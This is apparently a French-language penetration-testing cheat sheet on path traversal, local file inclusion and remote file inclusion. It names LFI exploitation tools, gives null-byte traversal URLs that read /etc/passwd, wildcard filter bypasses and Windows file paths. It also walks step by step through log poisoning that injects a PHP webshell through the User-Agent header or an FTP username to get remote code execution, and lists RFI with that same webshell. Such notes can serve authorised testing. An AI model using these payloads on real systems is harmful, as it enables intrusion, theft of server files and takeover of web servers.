📁Path Traversal / LFI / RFI
Outils dédiés aux path traversals et local file inclusion
Liffy
Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.
ressource: https://github.com/mzfr/liffy
LFISuite
LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.
ressource: https://github.com/D35m0nd142/LFISuite
LighTraversal
LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.
ressource: https://github.com/mathis2001/LighTraversal
Manuel
Null byte (%00)
Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.
Exemple pour une LFI:
On a un site qui ajoute des extensions automatiquement sur chaque uri
/target.com/index.php?page=../../../etc/passwd
devient
/target.com/index.php?page=../../../etc/passwd.php
ce qui donnera une erreur car passwd.php n'existe pas.
alors qu'avec le null byte,
/target.com/index.php?page=../../../etc/passwd%00
deviendra
/target.com/index.php?page=../../../etc/passwd%00.php
Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.
Wrapper
il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.
Voici quelques exemples de wrappers utilisés par PHP:
RCE via LFI + Log Poisoning
Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux
Essayez d'accéder à des fichiers de logs.
ressource: https://github.com/mathis2001/Wordlists/tree/main/LFI/LogFiles
1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé
exemple: User-agent: <?php system($_GET["cmd"]); ?> ou dans l'url, ?param=<?php system($_GET["cmd"]); ?>
2. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).
2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.
2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.
2.3. Accédez au fichier de log et exécutez votre payload
Exemple pour un fichier /var/log/vsftpd.log.
Quelques tips
vérifier: file:|pwd
vérifier un possible contournement de filtre avec des ?:
le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?
Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.
Par contre si vous entrez ceci,
/e??
/?t?
/??c
le seul répertoire possible cera /etc.
Plutôt que bin/cat etc/passwd il est possible d'utiliser:
/???/??t%20/???/???s?d
LFI sur serveur Windows
/../../c:/windows/system32/drivers/etc/hosts
C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config
Chemin relatif a partir du repertoire courant (cwd) du drive C
C:path\to\file.txt
Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)
Nginx
Ruby on rails / Django / NodeJs dans header Accept:
NodeJS filter bypass
https://www.compart.com/fr/unicode/U+FF2E
RFI
Exemples avec le webshell shell.php = <?php system($_GET["cmd"]); ?>
HTTP
Exemple de RFI via protocole HTTP
FTP
Exemple de RFI via protocole FTP
SMB
Exemple de RFI via protocole SMB
Trouver des paramètres
$ waybackurls target.com | gf lfi | tee -a lfi.txt
Dernière mise à jour